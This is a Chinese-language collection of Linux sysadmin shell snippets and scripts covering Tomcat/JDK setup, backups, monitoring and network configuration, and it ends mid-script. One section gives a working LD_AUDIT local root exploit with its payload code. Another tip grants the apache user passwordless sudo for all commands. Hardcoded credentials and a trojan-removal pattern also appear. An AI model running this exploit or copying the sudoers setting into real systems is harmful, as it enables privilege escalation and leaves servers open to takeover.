查看系统版本
cat /etc/redhat-release
cat /etc/issue
############################################
CentOS下不相应PING的办法
sysctl -w net.ipv4.icmp_echo_ignore_all=1
sysctl -p
############################################

屏蔽别人 ping 你的主机(sysctl.conf)
# Disable ping requests
net.ipv4.icmp_echo_ignore_all = 1
#编辑完成后,请执行以下命令使变动立即生效:
/sbin/sysctl -p
/sbin/sysctl -w net.ipv4.icmp_echo_ignore_all = 1
############################################
shell判断文件是否存在
[ ! -f /home/testfile ] && echo “tesfile note exist” || exit $?

############################################
服务器并发数统计脚本
贴一下统计服务器并发数统计脚本,根据网上的信息加上自己的需求整理的,把IP换为自己的IP地址即可,统计的是80端口的访问并发适用于Linux平台。 去掉最后的awk段就可以统计当前每个IP的访问数
echo “当前并发数:`netstat -nt | grep IP:80 | awk ‘{print $5}’ | awk -F”:” ‘{print $1}’| sort | uniq -c | sort -r -n | awk ‘BEGIN{total=0}{total+=$1}END{print total}’`”;

############################################
ostype()
{
#取得系统名
osname=`uname -s`
OSTYPE=””
case $osname in
“FreeBSD”) OSTYPE=”FREEBSD”
;;
“AIX”) OSTYPE=”AIX”
;;
“SunOS”) OSTYPE=”SOLARIS”
;;
“Linux”)
OSTYPE=”LINUX”
;;
“HP-UX”)
OSTYPE=”HPUX”
;;
“SCO”)
OSTYPE=”SCO”
;;
“UnixWare”)
OSTYPE=”SCO”
;;
“SCO_SV”)
OSTYPE=”SCO”
;;
“UNIX_SV”)
OSTYPE=”SCO”
;;
“CYGWIN_NT-5.1″)
OSTYPE=”CYGWIN”
;;
*)
;;
esac
}

############################################
非法IP登陆自己报警 通过简单的检测last输出日志来分析最近时间可能登陆的恶意IP
配置crontab使用定时检测
#!/bin/bash

#该脚本作用是检测是否有恶意IP登陆服务器并邮件报警
#可以结合139邮箱以达到短信及时通知到手机的功能
#适用系统centos5

Ldate=`which date`
Lawk=`which awk`
Llast=`which last`
Lgrep=`which grep`
Lsendmail=`which sendmail`
Lifconfig=`which ifconfig`
serverip=`$Lifconfig eth0|$Lgrep inet|$Lawk -F : ‘{print $2}’|$Lawk ‘{print $1}’`
cutdate=`$Ldate |$Lawk ‘{print $1″ “$2″ “$3}’`

hackerip=`$Llast|$Lgrep “$cutdate”|$Lawk ‘{print $3}’|$Lgrep -v 192.168.100.90`

if [ -z $hackerip ]
then
exit
else

for logip in $hackerip
do
echo “hacker ip is $logip already login $serverip”|mail -s “SOS” xxx@139.com xxx@139.com xxxx@139.com

done
fi

############################################
获取网络信息
#/usr/bin/env bash

# Name: get_network_info.sh
# Author: Purple_Grape
# This is a script to gather network information of your Linux system.
# Test under Ubuntu 10.04 only.

#—————————-
NIC=eth0
MAC=`LANG=C ifconfig $NIC | awk ‘/HWaddr/{ print $5 }’ `
IP=`LANG=C ifconfig $NIC | awk ‘/inet addr:/{ print $2 }’ | awk -F: ‘{print $2 }’`
MASK=`LANG=C ifconfig $NIC | awk -F: ‘/Mask/{print $4}’`
ext_ip=`curl ifconfig.me`

if [ -f /etc/resolv.conf ];
then
dns=`awk ‘/^nameserver/{print $2}’ /etc/resolv.conf `
fi
#—————————-
echo “Your network information is as below:”
echo $MAC
echo $IP
echo $dns
echo $ext_ip

############################################
备份linux nat服务器配置 备份nat网卡IP,nat,路由。设置重启运行该脚本即可
#!/bin/bash
setupfile=$(ifconfig|grep 172.16|awk -F ‘:||B’ ‘{print $2}’)
echo #!/bin/bash > $setupfile
echo “/sbin/modprobe ip_nat_ftp” >> $setupfile
echo “/sbin/modprobe ip_conntrack_ftp” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/ip_forward” >> $setupfile
echo “echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all” >> $setupfile
echo “echo 4096 > /proc/sys/net/ipv4/tcp_max_syn_backlog” >> $setupfile
echo “echo 3 > /proc/sys/net/ipv4/tcp_syn_retries” >> $setupfile
echo “echo 3 > /proc/sys/net/ipv4/tcp_synack_retries” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses” >> $setupfile
echo “echo 1 > /proc/sys/net/ipv4/tcp_syncookies” >> $setupfile
echo “echo 900 > /proc/sys/net/ipv4/tcp_keepalive_time” >> $setupfile
echo “echo 2097152 > /proc/sys/net/ipv4/ip_conntrack_max” >> $setupfile
echo “echo 1800 > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established” >> $setupfile

############################################
##################################### NIC IP #
############################################
ip=($(ip add |grep ‘scope global’|awk ‘{print $2}’))
eth=($(ip add |grep ‘scope global’|awk ‘{print $NF}’))
for ((i=0;i<${#ip[@]};i++))
do
echo ip addr add ${ip[i]} dev ${eth[i]} >> $setupfile
done
route=($(ip ro|grep via|awk ‘{print $1}’))
routeip=($(ip ro|grep via|awk ‘{print $3}’))
for ((i=0;i<${#route[@]};i++))
do
echo ip ro addr add ${route[i]} via ${routeip[i]} >> $setupfile
done
############################################
#################################### IPTABLES ########################################
############################################
echo “iptables -F” >> $setupfile
echo “iptables -F -t nat” >> $setupfile
echo “iptables -F -t mangle” >> $setupfile
echo “iptables -F INPUT” >> $setupfile
echo “iptables -F OUTPUT” >> $setupfile
echo “iptables -P INPUT DROP” >> $setupfile
echo “iptables -Z” >> $setupfile
echo “iptables -A INPUT -s 10.1.0.0/24 -p tcp –dport 2222 -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -s 10.1.0.128/25 -p icmp –icmp-type echo-request -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -p tcp –dport 199 -j ACCEPT” >> $setupfile
echo “iptables -A INPUT -p udp –dport 161 -j ACCEPT” >> $setupfile
echo “iptables -A FORWARD -p tcp -m multiport –dports 69,135,139,445,593,4444,1434,2500,5800,5900,6346,9393,5554,9996 -j REJECT –reject-with tcp-reset” >> $setupfile
echo “iptables -A FORWARD -p udp -m multiport –dports 135,137,138,139,445,593,4444,1434 -j REJECT –reject-with icmp-port-unreachable” >> $setupfile
############################################
##################################### NAT ###
############################################
sip=($(iptables -t nat -vnL|grep SNAT|awk ‘{print $8}’))
dip=($(iptables -t nat -vnL|grep SNAT|awk ‘{print $10}’|awk -F “:” ‘{print $2}’))
for ((i=0;i<${#sip[@]};i++))
do
echo iptables -t nat -A POSTROUTING -s ${sip[i]} -j SNAT –to ${dip[i]} >> $setupfile
done
for ((i=0;i<${#sip[@]};i++))
do
echo iptables -t nat -A PREROUTING -d ${dip[i]} -j DNAT –to ${sip[i]} >> $setupfile
done
=====
ftp登陆上传
ftp -in 10.0.1.198 <<!
user root root
binary
cd nat
del $setupfile
put $setupfile
bye
!
-==========
############################################
TOMCAT管理脚本 JDK 的安装目录通过参数传递给脚本,当脚本没有接收到 JDK 参数时,
查找Tomcat安装目录的父目录下是否有 jdk1.6.0_14 目录,
将管理服务的命令集成为一个脚本命令,传递给脚本的参数区分不同的请求命令。
#!/bin/bash
#JDK 的安装目录通过参数传递给脚本,当脚本没有接收到 JDK 参数时,
#查找Tomcat安装目录的父目录下是否有 jdk1.6.0_14 目录,
#将管理服务的命令集成为一个脚本命令,传递给脚本的参数区分不同的请求命令。
#===========================================
#@author yuchao1@staff.sina.com.cn
#@time 20101117 14:13:12
#===========================================
PRG=”$0″
# parsing the current command path
while [ -h “$PRG” ] ; do
ls=`ls -ld “$PRG”`
link=`expr “$ls” : ‘.*-> (.*)$’`
if expr “$link” : ‘/.*’ > /dev/null; then
PRG=”$link”
else
PRG=`dirname “$PRG”`/”$link”
fi
done
# get the command path
PRGDIR=`dirname “$PRG”`
# PRGDIR maybe ../apache-tomcat-6.0.20/bin

# get the tomcat home path
tomcat_dir=`cd “$PRGDIR/..” ; pwd`
top_dir=`cd “$tomcat_dir/..”; pwd`

# set the default jdk directory name
jdk_name=”jdk1.6.0_14″
# get the default jdk path
jdk_dir=”$top_dir/$jdk_name”
# parse the parameter $2,set the jdk path,if $2 is not empty.
if [ -n “$2” ]; then
jdk_dir=”$2″
fi

# confirm that the jdk path is effective and set the JAVA_HOME environment variable
if [ -d “$jdk_dir” ]; then
export JAVA_HOME=”$jdk_dir”
export JRE_HOME=”$JAVA_HOME/jre”
#echo “JRE_HOME is $JRE_HOME”
else
echo “The JAVA_HOME environment variable is error,this environment variable is needed to run this program.JAVA_HOME=$jdk_dir.”
echo “The application will exit.”
exit 1
fi

# handle the request:start,stop,restart,version
case “$1″ in
start)
echo -n $”Tomcat server is starting: ”
“$PRGDIR”/startup.sh >/dev/null
RETVAL=$?
if [ $RETVAL -eq 0 ] ; then
echo “Tomcat server has been started.”
else
echo “Tomcat server failed to start.”
fi
echo
;;

stop)
echo -n $”Tomcat server is stopping: ”
“$PRGDIR”/shutdown.sh >/dev/null
RETVAL=$?
if [ $RETVAL -eq 0 ] ; then
echo “Tomcat server has been stopped.”
else
echo “Tomcat server failed to stop.”
fi
echo
;;

version)
“$PRGDIR”/version.sh
;;

restart|reload)
$0 stop
$0 start
;;

*)
echo $”Usage: $0 {start|stop|restart|version}”
echo ” start Start server”
echo ” stop Stop server”
echo ” restart Restart server”
echo ” version What version of tomcat are you running?”
exit 1
esac
############################################
自动安装JDK和Tomcat的shell脚本
#!/bin/bash
#Auto Install JDK、tomcat and they connector.
#执行这个脚本需要在root家目录下放好JDK、tomcat、的tar.gz源码包,
#以及已经执行过的jdk(本人无法做到在jdk执行时输入yes和空格,所以这一步骤需要手动做。
#tomcat安装到/data1/apache-tomcat-5.5.31/,已设置环境变量。
#JDK在/usr/java,已设置环境变量。
#jsp页面的存放目录为“/web”,且该目录已经有了一个叫做test1.jsp的测试文件,
#可以通过http://ip/test1.jsp进行访问。
#apache和tomcat开机自启动。
#防火墙80端口打开。
#Author
# 20101117 yuchao1@staff.sina.com.cn Version 1.0

##################
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
########Check software development environment.
#rpm -q gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel > /dev/null
if [ “$?” != 0 ] ;
then
echo “Please check your need software”
exit 0
fi
# echo “proceed”
############Check install files:apache tomcat JDK tomcat-connectors
./jdk-6u22-linux-i586.bin
##########首先给JDK文件当前用户可执行的权限,如chmod 700 jdk* ,然后执行该文件,读取许可协议后输入“yes”即可安装,安装完成后最后在当前目录获得一个jdk目录。
if [ ! -e apache-tomcat-6.0.*.tar* ];then
echo “I cann’t find tomcat source file.”
exit 0
fi
if [ ! -d jdk1.6* ];then
echo “I cann’t find JDK directory.”
exit 0
fi
############Install and setup JAVA environment
mv jdk1.6* /usr/java
cat >> /etc/profile << EFF
########################################
JAVA_HOME=/usr/java
JRE_HOME=$JAVA_HOME/jre
CLASSPATH=:$JAVA_HOME/lib:$JRE_HOME/lib
PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
export JAVA_HOME JRE_HOME CLASSPATH PATH
########################################
EFF
source /etc/profile
#######################

java -version
if [ “$?” != 0 ] ;
then
echo “I cann’t set java path.”
exit 0
fi
###########Install Tomcat,and setup tomcat environment。
cd –
tar zxvf apache-tomcat*
mv apache-tomcat-6.0.29/ /data1/apache-tomcat-6.0.29/
cat >> /etc/profile << TTD
TOMCAT_HOME=/data1/apache-tomcat-6.0.29/
PATH=$PATH:$TOMCAT_HOME/bin/:/usr/local/apache2/bin:
export JAVA_HOME JRE_HOME CLASSPATH PATH TOMCAT_HOME
TTD
source /etc/profile
############Start Tomcat
sh /data1/apache-tomcat-5.5.31/bin/startup.sh
sleep 5
curl 127.0.0.1:8080 |grep “Thanks for using Tomcat”
if [ “$?” != 0 ] ;
then
echo “I think install tomcat is unfinished .”
exit 0
fi

################Set tomcat
########Creat Catalina directory and configuration file.
mkdir -p $TOMCAT_HOME/conf/Catalina/localhost
cat >> $TOMCAT_HOME/conf/Catalina/localhost/ROOT.xml << DDQ
<Context path=”/” docBase=”/web” debug=”0″ workDir=”/tmp” reloadable=”false”/>
DDQ
##########modify server.xml
#sed -i ‘s/appBase=”webapps”/appBase=”/web”/’ /data1/apache-tomcat-5.5.31//conf/server.xml
#sed -i ‘/xmlValidation=”false” xmlNamespaceAware=”false”>/a<Context path=”/” docBase=”/web” debug=”0″ workDir=”/tmp” reloadable=”false”/>’ /data1/apache-tomcat-5.5.31//conf/server.xml
##############################################
cat >> /data1/apache-tomcat-5.5.31/conf/server.xml << SERVER
<?xml version=”1.0″ encoding=”ISO8859-1″?>
<Server>
<Listener className=”org.apache.catalina.core.AprLifecycleListener”/>
<Listener className=”org.apache.catalina.mbeans.GlobalResourcesLifecycleListener”/>
<Listener className=”org.apache.catalina.storeconfig.StoreConfigLifecycleListener”/>
<Listener className=”org.apache.catalina.mbeans.ServerLifecycleListener”/>
<GlobalNamingResources>
<Environment
name=”simpleValue”
type=”java.lang.Integer”
value=”30″/>
<Resource
auth=”Container”
description=”User database that can be updated and saved”
name=”UserDatabase”
type=”org.apache.catalina.UserDatabase”
pathname=”conf/tomcat-users.xml”
factory=”org.apache.catalina.users.MemoryUserDatabaseFactory”/>
<Resource
name=”JDBC/vpayBank”
type=”javax.sql.DataSource”
driverClassName=”com.mysql.jdbc.Driver”
password=”asdf1234″
maxIdle=”5″
maxWait=”5000″
username=”pay”
url=”jdbc:mysql://*.*.*.*”
maxActive=”200″/>
</GlobalNamingResources>
<Service
name=”Catalina”>
<Connector
port=”80″
redirectPort=”8443″
connectionTimeout=”30000″
maxSpareThreads=”75″
maxThreads=”150″
URIEncoding=”UTF-8″
minSpareThreads=”25″>
</Connector>
<Connector
port=”8009″
redirectPort=”8443″
protocol=”AJP/1.3″>
</Connector>
<Engine
defaultHost=”localhost”
name=”Catalina”>
<Realm className=”org.apache.catalina.realm.UserDatabaseRealm”/>
<Host
appBase=”webapps”
name=”localhost”>
</Host>
</Engine>
</Service>
</Server>
SERVER
#creat test website.
mkdir /web
cat >>/web/test1.jsp<< WEB
<%@ page contentType=”text/html;charset=gbk” %>
<%
String str1=”Hello World!”;
out.println(str1);
%>
WEB
#######################
#JDBC 配置
cat >>/data1/apache-tomcat-5.5.31/conf/Catalina/localhost/vpayBank.xml<< JDBC
<?xml version=”1.0″ encoding=”ISO8859-1″?>
<Context>
<Resource
name=”JDBC/Test”
type=”javax.sql.DataSource”
driverClassName=”com.mysql.jdbc.Driver”
password=”12345″
maxIdle=”5″
maxWait=”5000″
username=”pay”
url=”jdbc:mysql://*.*.*.*”
maxActive=”200″/>
</Context>
JDBC

##########restart tomcat
/data1/apache-tomcat-5.5.31/bin/shutdown.sh
sleep 5
/data1/apache-tomcat-5.5.31/bin/startup.sh

########查看效果:
sleep 5
curl 127.0.0.1/test1.jsp
curl 127.0.0.1/test1.jsp |grep Hello && echo “Completed”
#########Add auto start开机自启动
sed -i ’2a source /etc/profile’ /data1/apache-tomcat-5.5.31/bin/startup.sh
echo “/data1/apache-tomcat-5.5.31//bin/startup.sh” >> /etc/rc.local

#########setting firewall
#sed -i ‘/–dport 22 -j ACCEPT/a-A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT’ /etc/sysconfig/iptables
#/etc/init.d/iptables restart
########################################
显示linux操作系统当前用户名 echo ${LOGNAME}
或你这个有意思啊who am i| awk ‘{print $1}’
或echo “$USER”
或whoami
########################################

########################################

MySQL数据库每日自动备份的脚本
#/bin/bash
mysqldump –user=DB_USER –password=’DB_PASSWORD’ –databases DB_NAME | gzip > /path/to/backup/DB_NAME-`date +%Y%m%d%H%M`.sql.gz
find /path/to/backup -name “*.gz” -mtime +60 -exec /bin/rm {} ;

########################################
自动发送带附件的邮件 将一个目录下面的文件打包,并以目录名+当前时间命名,用mutt发送到自己的邮箱
#!/bin/bash
currenttime=`date +%Y.%m.%d.%H.%M.%S`
currentdir=$(basename `pwd`)
filename=$currentdir.$currenttime.zip
echo $filename
zip -r $filename * -x “pdf/*” “tmp/*” “*.o” “*.zip”
echo “”|mutt -s $filename -a ./$filename — yourname@126.com
rm $filename
########################################

改变Linux下的语言环境
lang=`locale | grep ‘LANGUAGE’|cut -d= -f2`

if [ “$lang” == “en_US.utf-8” ];then
lang=’zh_CN.utf-8′
elif [ $lang == ‘zh_CN.utf-8’ ];then
lang=’en_US.utf-8′
else
echo -e “System Language is not Chinese or Englishn”
fi
LANGUAGE=”$lang”
export LANGUAGE
########################################

shell脚本循环判断进程是否存在
#!/bin/sh

while true
do
process=`ps aux | grep mysqld | grep -v grep`;

if [ “$process” == “” ]; then
sleep 1;
echo “no process”;
else
echo “process exsits”;
break;
fi
done


#!/bin/ksh

while true
do
ps aux | grep mysqld | grep -v grep && { echo ‘ok’ ; break; } || { sleep 1 ; echo ‘no’; }
done

########################################

不重启系统,不知道root密码,普通用户拥有root权限
[test@demon ~]$ mkdir /tmp/a
[test@demon~]$ ln -s /bin/ls /tmp/a/b
[test@demon ~]$ exec 3< /tmp/a/b
[test@demon ~]$ gcc -w -fPIC -shared -o /tmp/a payload.c
[test@demon ~]$ LD_AUDIT=”$ORIGIN” exec /proc/self/fd/3
payload.c
[root@demon ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

payload.c内容如下

void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
########################################

实时查看linux网卡流量

#!/bin/bash
while [ “1” ]
do
eth=$1
RXpre=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $2}’)
TXpre=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $10}’)
sleep 1
RXnext=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $2}’)
TXnext=$(cat /proc/net/dev | grep $eth | tr : ” ” | awk ‘{print $10}’)
clear
echo -e “t RX `date +%k:%M:%S` TX”
RX=$((${RXnext}-${RXpre}))
TX=$((${TXnext}-${TXpre}))

if [[ $RX -lt 1024 ]];then
RX=”${RX}B/s”
elif [[ $RX -gt 1048576 ]];then
RX=$(echo $RX | awk ‘{print $1/1048576 “MB/s”}’)
else
RX=$(echo $RX | awk ‘{print $1/1024 “KB/s”}’)
fi

if [[ $TX -lt 1024 ]];then
TX=”${TX}B/s”
elif [[ $TX -gt 1048576 ]];then
TX=$(echo $TX | awk ‘{print $1/1048576 “MB/s”}’)
else
TX=$(echo $TX | awk ‘{print $1/1024 “KB/s”}’)
fi

echo -e “$eth t $RX $TX ”
done
########################################
查看红帽 Linux (CentOS)的版本

cat /etc/redhat-release
##or
cat /etc/issue
########################################

清除php木马的脚本
网站一旦被挂马,将会在各种搜索引擎的结果中被拦截,客户桌面客户端的杀毒软件会阻断用户访问并报警,将会导致网站访问量急剧下滑及用户数据被窃取的后果。

大部分php中了木马,会插入一段php代码。
类似如下: eval(base64_decode(‘xxxxxxxxxxxxxxxxxxxxx’));
这里我写了一个简单的shell脚本用于清除此类木马。
#!/bin/bash
until [ $# -eq 0 ]
do
sed ‘s/eval(base.*;//g’ $1>/tmp/t
if [ $? = 0 ]; then
cp /tmp/t $1
echo $1
fi
shift
done
用法,把这个脚本存为clean.sh文件。 find |grep “.php$”|xargs ./clean.sh
########################################
Shell自动设置JDK环境变量
#!/bin/bash
find “$PWD” -type f ( -iname ‘*.bin’ ) -print0 | xargs -0 chmod +x
find -type f ( -iname ‘*.bin’ ) -print |
while read filename
do
case “$filename” in
*.bin)
xterm -e “$filename” && rm -if “$filename”
;;
esac
done
OLDIFS=$IFS
IFS=$’n’
for line in `cat ~/.bashrc`
do
if [[ “$line” =~ .*export.* ]]; then
if [[ “$line” =~ .*JAVA_HOME=.* ]]; then
if [[ “$line” =~ =(/([0-9a-zA-Z._]+))+ ]]; then
javahome=$line
fi
fi
fi
if [[ “$line” =~ export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin$ ]];then
javapath=$line
fi
if [[ “$line” =~ export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib$ ]];then
classpath=$line
fi
done
if [ ! -n “$javahome” ]; then
sed -i ‘$a export JAVA_HOME=’$(pwd)’/jdk1.6.0_32′ ~/.bashrc
else
sed -i ‘s:’${javahome//\/\\}’:export JAVA_HOME=’$(pwd)’/jdk1.6.0_25:g’ ~/.bashrc
fi
if [ ! -n “$javapath” ]; then
sed -i ‘$a export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin’ ~/.bashrc
fi
if [ ! -n “$classpath” ]; then
sed -i ‘$a export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib’ ~/.bashrc
fi
IFS=$OLDIFS
########################################

用PHP来运行centos系统命令
步骤如下:

vi /etc/sudoers
加上一句 apache ALL=(ALL) NOPASSWD: ALL

然后在php中加上sudo就可以执行任何命令了

<?php
exec(“sudo reboot”);
?>
如果系统运行sudo 反应速度非常慢

可以进行如下操作进行提升速度

用”hostname “命令查看当前主机的主机名称。例如,该命令返回”www.siteyun.com “.

再用vi打开”/etc/hosts”文件,并将”ddx.net”加入到 “127.0.0.1″这行中。

例如:

127.0.0.1 www.siteyun.com localhost.localdomain localhost

保存搞定。

本人用PHP来控制一些服务器重启,及些服务的重启等操作
########################################
shell 脚本配置IP
#!/bin/bash
############################配置IP脚本#####################################
############################ 初学者 #######################################
fun0 () {
ipfile=”/etc/sysconfig/network-scripts/ifcfg-eth0″
hwaddr=`ifconfig |grep eth0 |awk -F ” ” ‘{print $5}’`
device=`ifconfig |grep eth0 |awk -F ” ” ‘{print $1}’`
type=`ifconfig |grep eth0 |awk -F “:” ‘{ print $2 }’|awk -F ” ” ‘{
print $1 }’`
echo “DEVICE=$device” > $ipfile
echo “HWADDR=$hwaddr” >>$ipfile
echo “ONBOOT=yes” >>$ipfile
echo “TYPE=$type” >>$ipfile
}
fun1 () {
echo “Enter the IP that you want to set:”
read IP
echo “Enter the netmask:”
read netmask
echo “Enter the gateway:”
read gateway
echo “Enter the DNS:”
read dns
}
echo “Enter the IP model you want to set (DHCP/STATIC):”
read model
if [ $model = “DHCP” ]
then
fun0
echo “BOOTPROTO=dhcp” >>$ipfile
service network restart
elif [ $model = “STATIC” ]
then
fun1
fun0
echo “BOOTPROTO=none” >>$ipfile
echo “NETMASK=$netmask” >>$ipfile
echo “IPADDR=$IP” >>$ipfile
echo “GATEWAY=$gateway” >>$ipfile
echo “$dns” > /etc/resolv.conf
service network restart

else
echo “error:please enter DHCP or STATIC”
exit 0
fi

########################################
Tomcat自动化升级脚本
#!/usr/bin/sh
#=====================================================
# TOMCAT升级脚本
#
#=====================================================

UPDATE_TEMP_HOME=$BILLING_HOME/temp
UPDATE_BAK_HOME=$BILLING_HOME/update_bak/bak`date +%Y%m%d`
WEBAPPS_HOME=$BILLING_HOME/web/tomcat/webapps

getProcTime()
{
echo `date “+%Y-%m-%d %H:%M:%S”`
}

pLog()
{
_LogFun=$1
_LogTxt=$2
getProcTime | read _ProcTime
echo “${_ProcTime} [${_LogFun}] [${_LogTxt}]”
}

#备份环境
backupEnv()
{
pLog “backupEnv()” “新建备份目录:$UPDATE_BAK_HOME/uip”
mkdir -p $UPDATE_BAK_HOME/uip

#备份代码
pLog “backupEnv()” “备份目录:${BILLING_HOME}/config”

cp -r $BILLING_HOME/config $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/lib”
cp -r $BILLING_HOME/lib $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/jobservices”
cp -r $BILLING_HOME/jobservices $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/report”
cp -r $BILLING_HOME/report $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/resource”
cp -r $BILLING_HOME/resource $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/uip”
cp -r $BILLING_HOME/uip/* $UPDATE_BAK_HOME/uip
pLog “backupEnv()” “备份目录:${BILLING_HOME}/bosstool”
cp $BILLING_HOME/bosstool $UPDATE_BAK_HOME
pLog “backupEnv()” “备份目录:${BILLING_HOME}/setbosstoolenv.sh”
cp $BILLING_HOME/setbosstoolenv.sh $UPDATE_BAK_HOME
}

#备份web应用
backupWebapps()
{
backup_path=$UPDATE_BAK_HOME/web

pLog “backupWebapps()” “新建web备份目录:${backup_path}”
mkdir -p $backup_path

#备份war包
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/customreport.war”
mv $WEBAPPS_HOME/customreport.war $backup_path
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/cvbs.war”
mv $WEBAPPS_HOME/cvbs.war $backup_path
pLog “backupWebapps()” “备份war包:${WEBAPPS_HOME}/ocswebservices.war”
mv $WEBAPPS_HOME/ocswebservices.war $backup_path

#备份web应用
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/customreport”
cp -r $WEBAPPS_HOME/customreport $backup_path
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/cvbs”
cp -r $WEBAPPS_HOME/cvbs $backup_path
pLog “backupWebapps()” “备份web应用:${WEBAPPS_HOME}/ocswebservices”
cp -r $WEBAPPS_HOME/ocswebservices $backup_path
}

#更新环境
updateEnv()
{
#更新代码
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/lib”
cp -r $UPDATE_TEMP_HOME/lib $BILLING_HOME
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/report”
cp -r $UPDATE_TEMP_HOME/report $BILLING_HOME
pLog “updateEnv()” “更新前台代码:${BILLING_HOME}/resource”
cp -r $UPDATE_TEMP_HOME/resource $BILLING_HOME

if [ -f “$UPDATE_TEMP_HOME/bosstool” ]; then
pLog “updateEnv()” “更新脚本文件:${BILLING_HOME}/bosstool”
cp $UPDATE_TEMP_HOME/bosstool $BILLING_HOME
fi

if [ -f “$UPDATE_TEMP_HOME/setbosstoolenv.sh” ]; then
pLog “updateEnv()” “更新脚本文件:${BILLING_HOME}/setbosstoolenv.sh”
cp $UPDATE_TEMP_HOME/setbosstoolenv.sh $BILLING_HOME
fi

#更新war包
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/customreport.war”
cp $UPDATE_TEMP_HOME/customreport.war $WEBAPPS_HOME
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/cvbs.war”
cp $UPDATE_TEMP_HOME/cvbs.war $WEBAPPS_HOME
pLog “updateEnv()” “更新war包:${WEBAPPS_HOME}/ocswebservices.war”
cp $UPDATE_TEMP_HOME/ocswebservices.war $WEBAPPS_HOME

#删除原web应用
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/customreport”
rm -rf $WEBAPPS_HOME/customreport/*
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/cvbs”
rm -rf $WEBAPPS_HOME/cvbs/*
pLog “updateEnv()” “删除应用目录:${WEBAPPS_HOME}/ocswebservices”
rm -rf $WEBAPPS_HOME/ocswebservices/*

#解压war包
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/customreport.war”
unzip -q $WEBAPPS_HOME/customreport.war -d $WEBAPPS_HOME/customreport
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/cvbs.war”
unzip -q $WEBAPPS_HOME/cvbs.war -d $WEBAPPS_HOME/cvbs
pLog “updateEnv()” “解压war包:${WEBAPPS_HOME}/ocswebservices.war”
unzip -q $WEBAPPS_HOME/ocswebservices.war -d $WEBAPPS_HOME/ocswebservices

#恢复webapps配置文件
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/customreport/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/customreport/WEB-INF/log4j.properties $WEBAPPS_HOME/customreport/WEB-INF/log4j.properties
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/cvbs/WEB-INF/log4j.properties $WEBAPPS_HOME/cvbs/WEB-INF/log4j.properties
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/WEB-INF/web.xml”
cp $UPDATE_BAK_HOME/web/cvbs/WEB-INF/web.xml $WEBAPPS_HOME/cvbs/WEB-INF/web.xml
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/cvbs/frm/style/zh_CN/pagecss/Login.css”
cp $UPDATE_BAK_HOME/web/cvbs/frm/style/zh_CN/pagecss/Login.css $WEBAPPS_HOME/cvbs/frm/style/zh_CN/pagecss/Login.css
pLog “updateEnv()” “恢复配置文件:${UPDATE_BAK_HOME}/web/ocswebservices/WEB-INF/log4j.properties”
cp $UPDATE_BAK_HOME/web/ocswebservices/WEB-INF/log4j.properties $WEBAPPS_HOME/ocswebservices/WEB-INF/log4j.properties

}

#暂停进程
stopEnv()
{
pLog “stopEnv()” “停止tomcat”
$BILLING_HOME/bosstool stop tomcat
pLog “stopEnv()” “停止jobservices”
$BILLING_HOME/bosstool stop jobservices
pLog “stopEnv()” “停止uipserver”
$BILLING_HOME/bosstool stop uipserver
}

#启动进程
startEnv()
{
pLog “startEnv()” “启动tomcat”
$BILLING_HOME/bosstool start tomcat
pLog “startEnv()” “启动jobservices”
$BILLING_HOME/bosstool start jobservices
pLog “startEnv()” “启动uipserver”
$BILLING_HOME/bosstool start uipserver
}

main()
{
x=`ls $UPDATE_TEMP_HOME|wc -w`;

if [[ $x = 0 ]]; then
pLog “main()” “没有更新包,请上传更新包!”
else
